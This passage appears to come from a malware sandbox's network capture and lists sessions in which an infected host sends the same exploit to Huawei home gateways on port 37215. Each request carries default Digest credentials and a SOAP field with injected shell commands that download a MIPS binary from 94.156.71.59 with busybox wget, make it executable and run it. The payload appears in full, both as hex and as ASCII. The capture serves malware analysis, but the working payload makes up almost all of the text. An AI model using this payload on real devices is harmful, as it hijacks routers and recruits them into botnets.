6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.13	34102	156.104.219.208	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.934900999 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.13	47328	156.49.85.159	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.936119080 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.13	56434	41.26.36.51	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.938925028 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.13	48692	41.52.216.46	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.940310955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.13	44412	41.129.75.7	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.941214085 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.13	36844	156.193.101.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.308036089 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.13	59558	156.233.139.60	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.308991909 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.13	39268	197.255.169.94	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.310023069 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.13	55862	41.72.245.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.311233997 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.13	53328	197.143.178.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.312465906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.13	34054	156.169.133.130	37215

Timestamp	Bytes transferred	Direction	Data
